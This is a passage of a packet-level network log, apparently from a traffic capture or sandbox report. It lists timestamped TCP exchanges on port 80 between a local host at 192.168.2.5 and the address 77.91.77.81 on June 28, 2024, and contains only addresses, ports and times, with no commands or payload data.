Jun 28, 2024 13:36:12.898633957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898642063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.898643970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898653984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898673058 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.898699999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.898752928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898761988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898771048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898792982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.898824930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.898884058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898894072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898902893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898911953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898921967 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.898925066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898935080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898936987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.898943901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898952007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898962975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898979902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.898993015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899118900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899128914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899137020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899147034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899156094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899158955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899173975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899195910 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899234056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899244070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899251938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899275064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899292946 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899364948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899374962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899384022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899391890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899401903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899401903 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899410963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899420977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899427891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899429083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899439096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899451971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899466991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899544954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899581909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899676085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899684906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899693966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899703979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899712086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899713039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899720907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899723053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899730921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899739981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899749041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899750948 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899759054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899764061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899789095 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899946928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899955988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899965048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899974108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899981976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.899986982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.899991989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.900001049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.900007963 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.900034904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.900053024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.930295944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.930321932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.930339098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.930350065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.930358887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.930372953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.930409908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.930421114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.930495977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.930588007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.947556019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947567940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947590113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947598934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947609901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947619915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947634935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947643995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947655916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947669029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947695971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947706938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947721958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947731972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947741985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947751045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947756052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.947803020 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.947824001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947834015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947844028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947853088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947863102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947868109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.947875023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.947891951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.947920084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.986465931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986500025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986510992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986541986 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.986582994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.986583948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986593962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986603975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986614943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986635923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.986691952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.986778975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986789942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986799955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986810923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986821890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986821890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.986831903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986843109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986854076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986855030 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.986865044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986893892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.986906052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.986913919 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.986970901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.987099886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987109900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987119913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987129927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987139940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987149954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987149954 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.987159967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987169981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987179041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987185955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.987190008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987200022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987210035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987220049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987220049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.987243891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.987262011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.987365007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987375021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987385988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987411022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.987432003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.987500906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987510920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987535000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987544060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.987545013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987555981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987565994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987565994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.987576008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987586021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987596035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.987601995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987612963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987622023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987622976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.987638950 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.987660885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.987960100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987970114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987981081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.987994909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988004923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988014936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988024950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988025904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988025904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988034964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988040924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988046885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988054991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988084078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988090992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988101006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988110065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988116026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988120079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988131046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988133907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988141060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988149881 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988149881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988225937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988236904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988238096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988245964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988254070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988256931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988267899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988279104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988279104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988296986 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988302946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988312960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988322020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988329887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988329887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988336086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988344908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988346100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988357067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988364935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988367081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988377094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988382101 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988385916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988395929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988405943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988405943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988416910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988426924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988428116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988446951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988461971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.988742113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.988784075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.014940977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.014956951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.014967918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.014976978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.014986992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.014997005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.014996052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.015007019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.015052080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.015052080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.015052080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.031588078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.031603098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.031625032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.031635046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.031642914 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.031646013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.031672955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.031682968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.031682968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.031683922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.031694889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.031701088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.031727076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.031752110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.031784058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.031862020 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.031871080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.031882048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.031905890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.031918049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.031929970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.031940937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.031951904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.031960011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.031963110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.031971931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.031992912 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.032053947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.032068014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.032077074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.032087088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.032098055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.032115936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.032115936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.032120943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.032130957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.032134056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.032140970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.032152891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.032176971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.032207012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.069747925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.069798946 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.069905043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.069916010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.069968939 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.069968939 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.069973946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.069984913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070012093 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070028067 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070050001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070076942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070089102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070095062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070097923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070110083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070115089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070120096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070131063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070152998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070163965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070173979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070177078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070184946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070194960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070195913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070204973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070219994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070247889 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070266008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070276022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070287943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070297956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070301056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070327997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070363045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070377111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070386887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070413113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070436001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070511103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070523024 CEST	80	49706	77.91.77.81	192.168.2.5
